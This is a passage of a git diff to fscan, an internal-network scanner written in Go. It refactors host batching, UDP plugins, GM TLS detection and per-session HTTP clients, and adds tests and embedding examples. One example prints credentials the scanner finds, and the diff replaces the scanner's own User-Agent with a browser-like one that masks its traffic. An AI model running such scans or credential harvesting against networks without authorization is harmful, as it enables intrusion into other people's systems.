(s *ServiceScanStrategy) performHostScan(ctx context.Context, session *comm config := session.Config state := session.State - // 解析目标主机 - hosts, err := parsers.ParseIP(info.Host, session.Params.HostsFile, session.Params.ExcludeHosts) + excludes, err := loadHostExcludes(session.Params) if err != nil { - common.LogError(fmt.Sprintf("%s: %v", i18n.GetText("parse_target_failed"), err)) + session.LogError(fmt.Sprintf("%s: %v", i18n.GetText("parse_target_failed"), err)) return } - - // 主机存活检测 - if s.shouldPerformLivenessCheck(hosts, config) { - hosts = CheckLive(ctx, hosts, false, session) - common.LogInfo(i18n.Tr("alive_hosts_count_info", len(hosts))) - } - - if len(hosts) == 0 && len(state.GetHostPorts()) == 0 { + iter, err := parsers.NewHostIterator(info.Host, session.Params.HostsFile, excludes...) + if err != nil { + session.LogError(fmt.Sprintf("%s: %v", i18n.GetText("parse_target_failed"), err)) return } - - // 流式 channel:端口扫描发现开放端口后立即通知插件执行 - stream := make(chan string, 64) - - // 启动端口扫描 goroutine - go func() { - if len(hosts) > 0 { - EnhancedPortScan(ctx, hosts, config.Target.Ports, int64(config.Timeout.Seconds()), session, stream) - } else { - close(stream) - } + defer func() { + _ = iter.Close() }() - // pipeline 消费:边收开放端口边执行插件 pluginsToRun, isCustomMode := s.GetPlugins(config) - cancelled := false - for addr := range stream { - if cancelled { - continue // ctx 已取消,排空 stream 防止写端阻塞 + totalAlive := 0 + sawHosts := false + performedLiveness := false + + for { + hosts, err := iter.NextBatch(ctx, targetHostBatchSize(config)) + if err != nil { + session.LogError(fmt.Sprintf("%s: %v", i18n.GetText("parse_target_failed"), err)) + return } - select { - case <-ctx.Done(): - cancelled = true + if len(hosts) == 0 { + break + } + sawHosts = true + + if s.shouldPerformLivenessCheck(hosts, config) { + performedLiveness = true + hosts = CheckLive(ctx, hosts, false, session) + } + totalAlive += len(hosts) + if len(hosts) == 0 { continue - default: } - infos := s.convertToTargetInfos([]string{addr}, info) - for _, target := range infos { - for _, pluginName := range pluginsToRun { - if s.IsPluginApplicableByName(pluginName, target.Host, target.Port, isCustomMode, config) { - executeScanTask(ctx, session, pluginName, target, ch, wg) - } - } - } + s.dispatchUDPPlugins(ctx, session, hosts, info, config, ch, wg) + s.scanHostBatch(ctx, session, hosts, info, pluginsToRun, isCustomMode, ch, wg) + } + + if sawHosts && performedLiveness { + session.LogInfo(i18n.Tr("alive_hosts_count_info", totalAlive)) + } + + if !sawHosts && len(state.GetHostPorts()) == 0 { + return } // 合并预设的 host:port @@ -213,12 +213,78 @@ func (s *ServiceScanStrategy) performHostScan(ctx context.Context, session *comm } } +func (s *ServiceScanStrategy) scanHostBatch(ctx context.Context, session *common.ScanSession, hosts []string, info common.HostInfo, pluginsToRun []string, isCustomMode bool, ch chan struct{}, wg *sync.WaitGroup) { + config := session.Config + stream := make(chan string, 64) + + go EnhancedPortScan(ctx, hosts, config.Target.Ports, int64(config.Timeout.Seconds()), session, stream) + + cancelled := false + for addr := range stream { + if cancelled { + continue + } + select { + case <-ctx.Done(): + cancelled = true + continue + default: + } + + infos := s.convertToTargetInfos([]string{addr}, info) + for _, target := range infos { + for _, pluginName := range pluginsToRun { + if s.IsPluginApplicableByName(pluginName, target.Host, target.Port, isCustomMode, config) { + executeScanTask(ctx, session, pluginName, target, ch, wg) + } + } + } + } +} + +// dispatchUDPPlugins 分发UDP协议插件,跳过TCP端口扫描链路 +func (s *ServiceScanStrategy) dispatchUDPPlugins(ctx context.Context, session *common.ScanSession, hosts []string, baseInfo common.HostInfo, config *common.Config, ch chan struct{}, wg *sync.WaitGroup) { + _, isCustomMode := s.GetPlugins(config) + + var udpPlugins []string + if isCustomMode { + // custom mode: 只跑用户指定的 UDP 插件 + requested, _ := s.GetPlugins(config) + for _, name := range requested { + if plugins.IsUDP(name) { + udpPlugins = append(udpPlugins, name) + } + } + } else { + // auto mode: 跑所有已注册的安全 UDP 插件 + for _, name := range plugins.All() { + if plugins.IsUDP(name) && plugins.IsSafe(name) { + udpPlugins = append(udpPlugins, name) + } + } + } + if len(udpPlugins) == 0 { + return + } + + for _, host := range hosts { + for _, pluginName := range udpPlugins { + for _, port := range plugins.GetPluginPorts(pluginName) { + target := baseInfo + target.Host = host + target.Port = port + executeScanTask(ctx, session, pluginName, target, ch, wg) + } + } + } +} + // PrepareTargets 准备目标信息 func (s *ServiceScanStrategy) PrepareTargets(info common.HostInfo, session *common.ScanSession) []common.HostInfo { // 发现目标主机和端口 targetInfos, err := s.discoverTargets(context.Background(), info.Host, info, session) if err != nil { - common.LogError(err.Error()) + session.LogError(err.Error()) return nil } return targetInfos @@ -279,7 +345,11 @@ func (s *ServiceScanStrategy) discoverTargets(ctx context.Context, hostInput str config := session.Config state := session.State // 标准流程:解析目标主机 - hosts, err := parsers.ParseIP(hostInput, session.Params.HostsFile, session.Params.ExcludeHosts) + excludes, err := loadHostExcludes(session.Params) + if err != nil { + return nil, fmt.Errorf("%s: %w", i18n.GetText("parse_target_failed"), err) + } + hosts, err := parsers.ParseIP(hostInput, session.Params.HostsFile, excludes...) if err != nil { return nil, fmt.Errorf("%s: %w", i18n.GetText("parse_target_failed"), err) } @@ -291,7 +361,7 @@ func (s *ServiceScanStrategy) discoverTargets(ctx context.Context, hostInput str // 主机存活检测 if s.shouldPerformLivenessCheck(hosts, config) { hosts = CheckLive(ctx, hosts, false, session) - common.LogInfo(i18n.Tr("alive_hosts_count_info", len(hosts))) + session.LogInfo(i18n.Tr("alive_hosts_count_info", len(hosts))) } // 端口扫描 @@ -325,7 +395,7 @@ func (s *ServiceScanStrategy) discoverAlivePorts(ctx context.Context, hosts []st hostPorts := state.GetHostPorts() if len(hostPorts) > 0 { alivePorts = mergeHostPorts(alivePorts, hostPorts) - common.LogInfo(i18n.Tr("alive_ports_count", len(alivePorts))) + session.LogInfo(i18n.Tr("alive_ports_count", len(alivePorts))) state.ClearHostPorts() } @@ -353,15 +423,21 @@ func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo comm var infos []common.HostInfo for _, targetIP := range ports { - hostParts := strings.Split(targetIP, ":") - if len(hostParts) != 2 { + targetIP = strings.TrimSpace(targetIP) + host, portStr, err := net.SplitHostPort(targetIP) + if err != nil && strings.Count(targetIP, ":") == 1 { + parts := strings.SplitN(targetIP, ":", 2) + host, portStr = parts[0], parts[1] + err = nil + } + if err != nil { common.LogError(i18n.Tr("invalid_target_format", targetIP)) continue } // 去除空格并过滤空值 - host := strings.TrimSpace(hostParts[0]) - portStr := strings.TrimSpace(hostParts[1]) + host = strings.TrimSpace(host) + portStr = strings.TrimSpace(portStr) if host == "" || portStr == "" { common.LogError(i18n.Tr("invalid_target_format", targetIP)) continue @@ -390,4 +466,3 @@ func (s *ServiceScanStrategy) convertToTargetInfos(ports []string, baseInfo comm return infos } - diff --git a/core/service_scanner_test.go b/core/service_scanner_test.go index 0a3ad30..13c15c6 100644 --- a/core/service_scanner_test.go +++ b/core/service_scanner_test.go @@ -545,12 +545,26 @@ func TestConvertToTargetInfos(t *testing.T) { }, }, { - name: "IPv6地址", + name: "裸IPv6地址缺少方括号", ports: []string{"::1:8080"}, baseInfo: common.HostInfo{}, - expectedLen: 0, // Split会产生多个部分,被判定为非法 + expectedLen: 0, validateFunc: nil, }, + { + name: "IPv6地址", + ports: []string{"[2001:db8::1]:8080"}, + baseInfo: common.HostInfo{}, + expectedLen: 1, + validateFunc: func(t *testing.T, infos []common.HostInfo) { + if infos[0].Host != "2001:db8::1" { + t.Errorf("Host = %q, 期望 '2001:db8::1'", infos[0].Host) + } + if infos[0].Port != 8080 { + t.Errorf("Port = %d, 期望 8080", infos[0].Port) + } + }, + }, { name: "域名+端口", ports: []string{"example.com:80", "test.local:443"}, diff --git a/core/socket_iterator.go b/core/socket_iterator.go index f5868b0..c8b1b6a 100644 --- a/core/socket_iterator.go +++ b/core/socket_iterator.go @@ -39,7 +39,7 @@ type SocketIterator struct { ports []int hostIdx int portIdx int - total int + total int64 mu sync.Mutex } @@ -51,7 +51,7 @@ func NewSocketIterator(hosts []string, ports []int, exclude map[int]struct{}) *S return &SocketIterator{ hosts: hosts, ports: sortedPorts, - total: len(hosts) * len(sortedPorts), + total: int64(len(hosts)) * int64(len(sortedPorts)), } } @@ -113,7 +113,7 @@ func (it *SocketIterator) Next() (string, int, bool) { } // Total 返回总任务数(用于进度条) -func (it *SocketIterator) Total() int { +func (it *SocketIterator) Total() int64 { return it.total } diff --git a/core/socket_iterator_test.go b/core/socket_iterator_test.go index 2954785..17357a5 100644 --- a/core/socket_iterator_test.go +++ b/core/socket_iterator_test.go @@ -182,6 +182,17 @@ func TestSocketIterator_EmptyInputs(t *testing.T) { }) } +func TestSocketIteratorTotalUsesInt64(t *testing.T) { + hosts := make([]string, 1<<20) + ports := make([]int, 4096) + it := NewSocketIterator(hosts, ports, nil) + + want := int64(len(hosts)) * int64(len(ports)) + if it.Total() != want { + t.Fatalf("Total() = %d, want %d", it.Total(), want) + } +} + // TestSocketIterator_PortPrioritySort 验证端口优先级排序 // 高价值端口(80, 443, 22等)应该排在前面 func TestSocketIterator_PortPrioritySort(t *testing.T) { diff --git a/core/web_scanner.go b/core/web_scanner.go index 782b80d..3522802 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -13,31 +13,9 @@ import ( "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/common/i18n" + gmtls "github.com/tjfoc/gmsm/gmtls" ) -// =============================== -// Web服务检测 -// =============================== - -// 全局共享 HTTP Client,复用连接池减少 TLS 握手和 TCP 建连开销 -var ( - sharedHTTPClientOnce sync.Once - sharedHTTPClient *http.Client -) - -func getSharedHTTPClient(config *common.Config) *http.Client { - sharedHTTPClientOnce.Do(func() { - sharedHTTPClient = createHTTPClient(config) - // 启用 keep-alive 复用连接 - if t, ok := sharedHTTPClient.Transport.(*http.Transport); ok { - t.DisableKeepAlives = false - t.MaxIdleConns = 100 - t.MaxIdleConnsPerHost = 2 - } - }) - return sharedHTTPClient -} - // WebPortDetector 简化的Web检测器 - 保持API兼容 type WebPortDetector struct{} @@ -47,26 +25,29 @@ func GetWebPortDetector() *WebPortDetector { } // DetectHTTPScheme 智能检测HTTP/HTTPS协议 -// 策略:TLS握手优先(快速且准确),失败后尝试HTTP -// 返回: "https", "http", 或 "" (都不是Web服务) +// 策略:TLS握手优先(快速且准确),失败后尝试GM TLS,最后HTTP +// 返回: "https", "https-gm", "http", 或 "" (都不是Web服务) func DetectHTTPScheme(host string, port int, config *common.Config, session *common.ScanSession) string { + return DetectHTTPSchemeContext(context.Background(), host, port, config, session) +} + +func DetectHTTPSchemeContext(ctx context.Context, host string, port int, config *common.Config, session *common.ScanSession) string { // 优化:先快速检测 TCP 连通性 - if !isPortReachable(host, port, config, session) { + if !isPortReachable(ctx, host, port, config, session) { return "" } timeout := config.Network.WebTimeout - addr := fmt.Sprintf("%s:%d", host, port) + addr := net.JoinHostPort(host, strconv.Itoa(port)) - // 第一步:尝试TLS握手(优先检测HTTPS) - // 优势:握手失败代价小,不需要发送完整HTTP请求 + // 第一步:尝试标准TLS握手(优先检测HTTPS) tlsDialer := &net.Dialer{Timeout: timeout} tlsConn, err := tls.DialWithDialer( tlsDialer, "tcp", addr, &tls.Config{ InsecureSkipVerify: true, - MinVersion: tls.VersionTLS10, // 兼容老版本TLS + MinVersion: tls.VersionTLS10, }, ) @@ -75,14 +56,33 @@ func DetectHTTPScheme(host string, port int, config *common.Config, session *com return "https" } - // TLS握手失败,记录原因 + // 第二步:尝试国密TLS握手(GM TLS fallback) + gmConn, gmErr := gmtls.DialWithDialer( + tlsDialer, + "tcp", addr, + &gmtls.Config{ + GMSupport: gmtls.NewGMSupport(), + InsecureSkipVerify: true, + }, + ) - // 第二步:尝试HTTP请求(回退检测HTTP) - client := getSharedHTTPClient(config) + if gmErr == nil { + _ = gmConn.Close() + return "https-gm" + } + + // TLS和GM TLS都失败,尝试HTTP + client := createHTTPClient(config, session) // 使用HEAD请求(更轻量) httpURL := fmt.Sprintf("http://%s", addr) - resp, err := client.Head(httpURL) + req, err := http.NewRequestWithContext(ctx, "HEAD", httpURL, nil) + if err != nil { + return "" + } + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") + req.Header.Set("Accept", "*/*") + resp, err := session.HTTPDo(client, req) if err == nil { _ = resp.Body.Close() return "http" @@ -93,7 +93,7 @@ func DetectHTTPScheme(host string, port int, config *common.Config, session *com } // createHTTPClient 创建统一的HTTP客户端 - 支持HTTP/HTTPS和代理 -func createHTTPClient(config *common.Config) *http.Client { +func createHTTPClient(config *common.Config, session *common.ScanSession) *http.Client { timeout := config.Network.WebTimeout // 创建基础Transport,配置连接和 TLS 超时 @@ -115,14 +115,14 @@ func createHTTPClient(config *common.Config) *http.Client { if proxyURL, err := url.Parse(networkConfig.HTTPProxy); err == nil { transport.Proxy = http.ProxyURL(proxyURL) } else { - common.LogError(i18n.Tr("http_proxy_config_error", err)) + session.LogError(i18n.Tr("http_proxy_config_error", err)) } } else if networkConfig.Socks5Proxy != "" { // 使用SOCKS5代理 - 需要特殊处理 if _, err := url.Parse(networkConfig.Socks5Proxy); err == nil { // SOCKS5代理需要使用代理管理器 // 这里先记录警告,建议使用HTTP代理进行Web检测 - common.LogError(i18n.GetText("socks5_not_supported_web")) + session.LogError(i18n.GetText("socks5_not_supported_web")) } } @@ -137,21 +137,25 @@ func createHTTPClient(config *common.Config) *http.Client { // DetectHTTPServiceOnly HTTP协议检测 - 保持API兼容,简化实现 func (w *WebPortDetector) DetectHTTPServiceOnly(host string, port int, config *common.Config, session *common.ScanSession) bool { + return w.DetectHTTPServiceOnlyContext(context.Background(), host, port, config, session) +} + +func (w *WebPortDetector) DetectHTTPServiceOnlyContext(ctx context.Context, host string, port int, config *common.Config, session *common.ScanSession) bool { // 优化:先快速检测 TCP 连通性,避免在不可达端口上浪费双倍超时时间 // 对于不存在的端口,这可以将检测时间从 2×timeout 减少到 1×timeout - if !isPortReachable(host, port, config, session) { + if !isPortReachable(ctx, host, port, config, session) { return false } - client := getSharedHTTPClient(config) + client := createHTTPClient(config, session) // 尝试HTTP - if w.tryHTTP(client, host, port, "http") { + if w.tryHTTP(ctx, client, session, host, port, "http") { return true } // 尝试HTTPS - if w.tryHTTP(client, host, port, "https") { + if w.tryHTTP(ctx, client, session, host, port, "https") { return true } @@ -160,11 +164,11 @@ func (w *WebPortDetector) DetectHTTPServiceOnly(host string, port int, config *c // isPortReachable 快速检测端口是否可达(TCP 连接测试) // 用于在 HTTP/HTTPS 检测前过滤不可达端口,避免双重超时 -func isPortReachable(host string, port int, config *common.Config, session *common.ScanSession) bool { +func isPortReachable(ctx context.Context, host string, port int, config *common.Config, session *common.ScanSession) bool { timeout := config.Network.WebTimeout addr := net.JoinHostPort(host, strconv.Itoa(port)) - conn, err := session.DialTCP(context.Background(), "tcp", addr, timeout) + conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return false } @@ -173,26 +177,20 @@ func isPortReachable(host string, port int, config *common.Config, session *comm } // tryHTTP 尝试HTTP请求 - 简化的核心逻辑 -func (w *WebPortDetector) tryHTTP(client *http.Client, host string, port int, protocol string) bool { +func (w *WebPortDetector) tryHTTP(ctx context.Context, client *http.Client, session *common.ScanSession, host string, port int, protocol string) bool { // 构造URL - var url string - if (port == 80 && protocol == "http") || (port == 443 && protocol == "https") { - url = fmt.Sprintf("%s://%s", protocol, host) - } else { - url = fmt.Sprintf("%s://%s:%d", protocol, host, port) - } + targetURL := (&url.URL{Scheme: protocol, Host: net.JoinHostPort(host, strconv.Itoa(port))}).String() // 发送HEAD请求 - req, err := http.NewRequest("HEAD", url, nil) + req, err := http.NewRequestWithContext(ctx, "HEAD", targetURL, nil) if err != nil { return false } - req.Header.Set("User-Agent", "fscan-web-detector/2.1") + req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36") req.Header.Set("Accept", "*/*") - // 使用统一的SafeHTTPDo以确保遵循限速策略和代理设置 - resp, err := common.SafeHTTPDo(client, req) + resp, err := session.HTTPDo(client, req) if err != nil { return false } @@ -263,7 +261,7 @@ func IsWebServiceByFingerprint(serviceInfo *ServiceInfo) bool { // MarkAsWebService 标记Web服务 - 保持API兼容 func MarkAsWebService(host string, port int, serviceInfo *ServiceInfo) { - cacheKey := fmt.Sprintf("%s:%d", host, port) + cacheKey := net.JoinHostPort(host, strconv.Itoa(port)) webCacheMutex.Lock() defer webCacheMutex.Unlock() @@ -273,7 +271,7 @@ func MarkAsWebService(host string, port int, serviceInfo *ServiceInfo) { // GetWebServiceInfo 获取Web服务信息 func GetWebServiceInfo(host string, port int) (*ServiceInfo, bool) { - cacheKey := fmt.Sprintf("%s:%d", host, port) + cacheKey := net.JoinHostPort(host, strconv.Itoa(port)) webCacheMutex.RLock() defer webCacheMutex.RUnlock() @@ -300,7 +298,7 @@ type WebScanStrategy struct { // NewWebScanStrategy 创建新的Web扫描策略 func NewWebScanStrategy() *WebScanStrategy { return &WebScanStrategy{ - BaseScanStrategy: NewBaseScanStrategy("Web扫描", FilterWeb), + BaseScanStrategy: NewBaseScanStrategy(i18n.GetText("scan_strategy_web_name"), FilterWeb), } } @@ -317,19 +315,19 @@ func (s *WebScanStrategy) Description() string { // Execute 执行Web扫描策略 func (s *WebScanStrategy) Execute(ctx context.Context, session *common.ScanSession, info common.HostInfo, ch chan struct{}, wg *sync.WaitGroup) { // 输出扫描开始信息 - s.LogScanStart() + s.LogScanStart(session) // 验证插件配置 if err := s.ValidateConfiguration(); err != nil { - common.LogError(err.Error()) + session.LogError(err.Error()) return } // 准备URL目标 - targets := s.PrepareTargets(info, session.State) + targets := s.prepareTargets(info, session.State, session) // 输出插件信息 - s.LogPluginInfo(session.Config) + s.LogPluginInfo(session.Config, session) // 执行扫描任务 ExecuteScanTasks(ctx, session, targets, s, ch, wg) @@ -337,12 +335,16 @@ func (s *WebScanStrategy) Execute(ctx context.Context, session *common.ScanSessi // PrepareTargets 准备URL目标列表 func (s *WebScanStrategy) PrepareTargets(baseInfo common.HostInfo, state *common.State) []common.HostInfo { + return s.prepareTargets(baseInfo, state, nil) +} + +func (s *WebScanStrategy) prepareTargets(baseInfo common.HostInfo, state *common.State, session *common.ScanSession) []common.HostInfo { var targetInfos []common.HostInfo // 首先从State获取URL目标 urls := state.GetURLs() for _, urlStr := range urls { - urlInfo := s.createTargetFromURL(baseInfo, urlStr) + urlInfo := s.createTargetFromURLWithSession(baseInfo, urlStr, session) if urlInfo != nil { targetInfos = append(targetInfos, *urlInfo) } @@ -350,7 +352,7 @@ func (s *WebScanStrategy) PrepareTargets(baseInfo common.HostInfo, state *common // 如果URLs为空但baseInfo.Url有值,使用baseInfo.URL if len(targetInfos) == 0 && baseInfo.URL != "" { - urlInfo := s.createTargetFromURL(baseInfo, baseInfo.URL) + urlInfo := s.createTargetFromURLWithSession(baseInfo, baseInfo.URL, session) if urlInfo != nil { targetInfos = append(targetInfos, *urlInfo) } @@ -361,6 +363,10 @@ func (s *WebScanStrategy) PrepareTargets(baseInfo common.HostInfo, state *common // createTargetFromURL 从URL创建目标信息 func (s *WebScanStrategy) createTargetFromURL(baseInfo common.HostInfo, urlStr string) *common.HostInfo { + return s.createTargetFromURLWithSession(baseInfo, urlStr, nil) +} + +func (s *WebScanStrategy) createTargetFromURLWithSession(baseInfo common.HostInfo, urlStr string, session *common.ScanSession) *common.HostInfo { // 确保URL包含协议头 if !strings.HasPrefix(urlStr, "http://") && !strings.HasPrefix(urlStr, "https://") { urlStr = "http://" + urlStr @@ -369,7 +375,7 @@ func (s *WebScanStrategy) createTargetFromURL(baseInfo common.HostInfo, urlStr s // 解析URL获取Host和Port信息 parsedURL, err := url.Parse(urlStr) if err != nil { - common.LogError(i18n.Tr("url_parse_failed", urlStr, err)) + session.LogError(i18n.Tr("url_parse_failed", urlStr, err)) return nil } diff --git a/core/web_scanner_test.go b/core/web_scanner_test.go index ae5ae5e..54c52c9 100644 --- a/core/web_scanner_test.go +++ b/core/web_scanner_test.go @@ -1,6 +1,7 @@ package core import ( + "context" "crypto/tls" "fmt" "net" @@ -25,7 +26,6 @@ web_scanner_test.go - WebScanner核心逻辑测试 4. 指纹缓存 - SetFingerprints, GetFingerprints 不测试的部分(需要集成测试): -- createHTTPClient - 依赖全局配置 - tryHTTP, DetectHTTPServiceOnly - 网络IO - Execute - 完整流程 @@ -33,6 +33,26 @@ web_scanner_test.go - WebScanner核心逻辑测试 缓存操作需要验证并发安全性。" */ +func TestDetectHTTPServiceOnlyContextHonorsCancellation(t *testing.T) { + cfg := common.GetGlobalConfig() + oldTimeout := cfg.Network.WebTimeout + cfg.Network.WebTimeout = 2 * time.Second + defer func() { cfg.Network.WebTimeout = oldTimeout }() + + session := common.NewScanSession(cfg, common.NewState(), common.GetFlagVars()) + ctx, cancel := context.WithCancel(context.Background()) + cancel() + + start := time.Now() + detected := GetWebPortDetector().DetectHTTPServiceOnlyContext(ctx, "203.0.113.1", 80, cfg, session) + if detected { + t.Fatal("canceled web detection should not report a service") + } + if elapsed := time.Since(start); elapsed > 200*time.Millisecond { + t.Fatalf("canceled web detection took %s", elapsed) + } +} + // ============================================================================= // 核心逻辑测试:Web服务识别 // ============================================================================= @@ -765,3 +785,57 @@ func TestDetectHTTPScheme(t *testing.T) { } }) } + +func TestCreateHTTPClientUsesPerSessionProxy(t *testing.T) { + cfgA := common.NewConfig() + cfgA.Network.WebTimeout = time.Second + cfgA.Network.HTTPProxy = "http://127.0.0.1:18080" + sessionA := common.NewScanSession(cfgA, common.NewState(), &common.FlagVars{}) + + cfgB := common.NewConfig() + cfgB.Network.WebTimeout = time.Second + cfgB.Network.HTTPProxy = "http://127.0.0.1:28080" + sessionB := common.NewScanSession(cfgB, common.NewState(), &common.FlagVars{}) + + clientA := createHTTPClient(cfgA, sessionA) + clientB := createHTTPClient(cfgB, sessionB) + if clientA == clientB { + t.Fatal("createHTTPClient reused a process-wide client") + } + + proxyA := proxyForTest(t, clientA) + proxyB := proxyForTest(t, clientB) + if proxyA == proxyB { + t.Fatalf("proxy URLs should be per config, both were %q", proxyA) + } + if proxyA != "http://127.0.0.1:18080" { + t.Fatalf("proxyA = %q, want http://127.0.0.1:18080", proxyA) + } + if proxyB != "http://127.0.0.1:28080" { + t.Fatalf("proxyB = %q, want http://127.0.0.1:28080", proxyB) + } +} + +func proxyForTest(t *testing.T, client *http.Client) string { + t.Helper() + + transport, ok := client.Transport.(*http.Transport) + if !ok { + t.Fatal("client transport is not *http.Transport") + } + if transport.Proxy == nil { + t.Fatal("client proxy is nil") + } + req, err := http.NewRequest(http.MethodGet, "http://example.com", nil) + if err != nil { + t.Fatal(err) + } + proxyURL, err := transport.Proxy(req) + if err != nil { + t.Fatal(err) + } + if proxyURL == nil { + t.Fatal("proxy URL is nil") + } + return proxyURL.String() +} diff --git a/examples/embed-agent/main.go b/examples/embed-agent/main.go new file mode 100644 index 0000000..c1b3d15 --- /dev/null +++ b/examples/embed-agent/main.go @@ -0,0 +1,61 @@ +package main + +import ( + "context" + "fmt" + "time" + + fscan "github.com/shadow1ng/fscan/pkg/fscan" +) + +func main() { + scanner := fscan.NewScanner(fscan.Config{ + TaskID: "task-001", + Timeout: 3 * time.Second, + Threads: 64, + DisablePing: true, + DisableBrute: true, + Plugins: []string{"ssh", "mysql", "redis", "ftp"}, + OnProgress: func(p fscan.ScanProgress) { + fmt.Printf("[progress] %d/%d tasks, %d packets, paused=%v, elapsed=%s\n", + p.TasksCompleted, p.TasksTotal, p.Packets, p.Paused, p.Duration.Round(time.Millisecond)) + }, + }) + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + ctrl, reportCh, errCh := scanner.ScanWithController(ctx, + fscan.Target{Host: "127.0.0.1", Ports: []int{21, 22, 3306, 6379}}, + ) + + // Simulate a pause command from control plane after 1 second. + go func() { + time.Sleep(1 * time.Second) + fmt.Println("[agent] pausing scan...") + ctrl.Pause() + + // Check live stats while paused. + stats := ctrl.Stats() + fmt.Printf("[agent] stats while paused: completed=%d, packets=%d\n", + stats.TasksCompleted, stats.Packets) + + time.Sleep(2 * time.Second) + fmt.Println("[agent] resuming scan...") + ctrl.Resume() + }() + + report := <-reportCh + if err := <-errCh; err != nil { + fmt.Printf("[agent] scan error: %v\n", err) + return + } + + fmt.Printf("\n[agent] scan complete: %d results, %d vulns, %d services\n", + report.Summary.Total, report.Summary.Vulns, report.Summary.Services) + + for _, result := range report.Results { + taskID, _ := result.DetailString("task_id") + fmt.Printf(" [%s] %s %s (task=%s)\n", result.Type, result.Target, result.Status, taskID) + } +} diff --git a/examples/embed-basic/main.go b/examples/embed-basic/main.go new file mode 100644 index 0000000..8951d51 --- /dev/null +++ b/examples/embed-basic/main.go @@ -0,0 +1,40 @@ +package main + +import ( + "context" + "fmt" + "time" + + fscan "github.com/shadow1ng/fscan/pkg/fscan" +) + +func main() { + config := fscan.Config{ + Timeout: 3 * time.Second, + Threads: 64, + DisablePing: true, + DisableBrute: true, + Plugins: []string{"ssh", "mysql", "redis"}, + } + target := fscan.Target{ + Host: "127.0.0.1", + Ports: []int{22, 3306, 6379}, + } + if err := fscan.ValidateConfig(config, target); err != nil { + panic(err) + } + + scanner := fscan.NewScanner(config) + results, err := scanner.Scan(context.Background(), target) + if err != nil { + panic(err) + } + + summary := fscan.SummarizeResults(results) + fmt.Printf("scan finished: %+v\n", summary) + for _, result := range results { + if result.IsService() || result.IsVuln() { + fmt.Printf("%s %s %s\n", result.Type, result.Target, result.Status) + } + } +} diff --git a/examples/embed-stream/main.go b/examples/embed-stream/main.go new file mode 100644 index 0000000..1911da6 --- /dev/null +++ b/examples/embed-stream/main.go @@ -0,0 +1,49 @@ +package main + +import ( + "context" + "fmt" + "time" + + fscan "github.com/shadow1ng/fscan/pkg/fscan" +) + +func main() { + for _, plugin := range fscan.ListPlugins() { + if plugin.Default { + fmt.Printf("default plugin: %s ports=%v safe=%v\n", plugin.Name, plugin.Ports, plugin.Safe) + } + } + + config := fscan.Config{ + Timeout: 3 * time.Second, + Threads: 64, + DisablePing: true, + DisableBrute: true, + Plugins: []string{"ssh", "mysql", "redis"}, + } + target := fscan.Target{ + Host: "127.0.0.1", + Ports: []int{22, 3306, 6379}, + } + + var summary fscan.ResultSummary + scanner := fscan.NewScanner(config) + err := scanner.ScanEach(context.Background(), func(result fscan.Result) error { + summary.Add(result) + if service, ok := result.Service(); ok { + fmt.Printf("service=%s target=%s\n", service, result.Target) + } + if result.IsCredential() { + username, _ := result.Username() + password, _ := result.Password() + fmt.Printf("credential target=%s username=%s password=%s\n", result.Target, username, password) + } + return nil + }, target) + if err != nil { + panic(err) + } + + fmt.Printf("stream summary: %+v\n", summary) +} diff --git a/fscan-lite/README.md b/fscan-lite/README.md deleted file mode 100644 index 945465a..0000000 --- a/fscan-lite/README.md +++ /dev/null @@ -1,126 +0,0 @@ -# fscan-lite - -极简但极致兼容的TCP内网端口扫描器 - -## 设计理念 - -**兼容性第一,简洁至上** - -- 支持从 Windows 98 到 Windows 11 -- 支持从 Ubuntu 8.04 到最新版本 -- 使用 C89 标准,最大兼容性 -- 静态编译,零依赖运行 -- 单个可执行文件 < 1MB - -## 功能特性 - -- ✅ TCP端口连接扫描 -- ✅ 支持端口范围 (1-65535, 80,443) -- ✅ 可配置超时时间 -- ✅ 静态编译,零依赖 -- ✅ 跨平台兼容 - -## 编译 - -### Linux/Unix - -```bash -# 动态编译 -make - -# 静态编译(推荐) -make static - -# 最小化编译 -make small -``` - -### Windows - -```bash -# MinGW 编译 -mingw32-make -f Makefile - -# 或使用MSVC -cl /TC src/*.c /Febin/fscan-lite.exe ws2_32.lib -``` - -## 使用方法 - -```bash -# 基本用法 -./bin/fscan-lite -h 192.168.1.1 -p 22,80,443 - -# 扫描端口范围 -./bin/fscan-lite -h 10.0.0.1 -p 1-1000 - -# 自定义超时 -./bin/fscan-lite -h 192.168.1.100 -p 80,443 -t 2 -``` - -## 参数说明 - -| 参数 | 说明 | 示例 | -|------|------|------| -| -h HOST | 目标主机IP | -h 192.168.1.1 | -| -p PORTS | 端口列表 | -p 80,443,8000-8080 | -| -t TIMEOUT | 超时时间(秒) | -t 3 | -| --help | 显示帮助 | --help | -| --version | 显示版本 | --version | - -## 二进制大小对比 - -| 版本 | 大小 | 说明 | -|------|------|------| -| fscan (Go) | ~30MB | 包含运行时 | -| fscan-lite | ~900KB | 静态编译 | -| fscan-lite (strip) | ~700KB | 去除调试信息 | - -## 兼容性测试 - -### Linux 发行版 -- ✅ Ubuntu 8.04 - 24.04 -- ✅ CentOS 5 - 9 -- ✅ Debian 5 - 12 -- ✅ RHEL 5 - 9 - -### Windows 版本 -- ✅ Windows 98 SE -- ✅ Windows XP -- ✅ Windows 7/8/10/11 -- ✅ Windows Server 2003-2022 - -## 技术实现 - -- **语言**: C89 (最大兼容性) -- **网络**: 原生socket API -- **编译**: GCC/MSVC/Clang -- **链接**: 静态链接,零依赖 -- **大小**: < 1MB 单文件 - -## 性能对比 - -| 指标 | fscan | fscan-lite | -|------|-------|------------| -| 启动时间 | ~50ms | ~5ms | -| 内存占用 | ~20MB | ~2MB | -| 扫描速度 | 1000 ports/s | 1000 ports/s | -| 兼容性 | 现代系统 | 25年跨度 | - -## 构建配置 - -```bash -# 查看构建信息 -make info - -# 所有构建选项 -make help -``` - -## 许可证 - -与 fscan 主项目保持一致 - ---- - -**理念**: 一个工具应该在它设计的任何系统上都能运行,而不需要用户去寻找依赖项。 \ No newline at end of file diff --git a/fscan-lite/include/platform.h b/fscan-lite/include/platform.h deleted file mode 100644 index 5d60f9f..0000000 --- 